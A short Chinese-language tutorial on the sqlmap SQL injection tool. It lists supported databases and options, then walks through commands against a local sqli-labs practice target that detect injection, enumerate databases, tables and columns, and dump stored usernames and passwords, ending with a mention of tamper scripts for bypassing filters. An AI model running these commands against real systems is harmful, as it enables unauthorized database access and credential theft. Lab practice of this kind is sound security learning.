sqlmap----注入神器

sqlmap是一个开源的渗透测试工具，可以自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎，为终极渗透测试仪提供了许多利基功能，以及从数据库指纹识别，从数据库中获取数据到访问底层文件系统以及在操作系统上执行命令的各种交换机。

sqlmap支持的数据库：

　　MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Access，IBM DB2，SQLite，Firebird，Sybase，SAP MaxDB，Informix，HSQLDB和H2

sqlmap基本参数：

--update 　　更新升级
--dbms 　　指定数据库类型
--users 　　列举数据库用户
--dbs 　　列举数据库
--passwords 　　列举数据库用户密码
--reg-read 　　读取win系统注册表

 

这里以sqlin-labs-master演示sqlmap的使用方法：

 

检测是否可以注入：

　　sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1

 

 

接下来开始注入，指定注入方法用报错注入，爆数据库名称：

 sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E --current-db

 

 

爆数据表：

 sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E -D security --tables

 

 

爆字段：

sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E -D security -T users --columns

 

 

 报数据：

sqlmap.py -u http://192.168.81.128/sqlin/Less-2/?id=1 --technique E -D security -T users -C username,password --dump

 

 

 以上所用到的参数有：

--technique 　　指定注入方法
　　B Boolean-based blind(布尔盲注)
　　E Error-based(报错注入)
　　U Union query-based(联合注入)
　　T Time-based blind(时间注入)
--current-user 　　获取当前用户
--current-db 　　获取当前数据库名称
--tables 　　获取表名
--columns 　　获取列名
--dump 　　获取数据

最后说一个特别牛X的参数：--tamper      自带脚本绕过(也可以自己添加)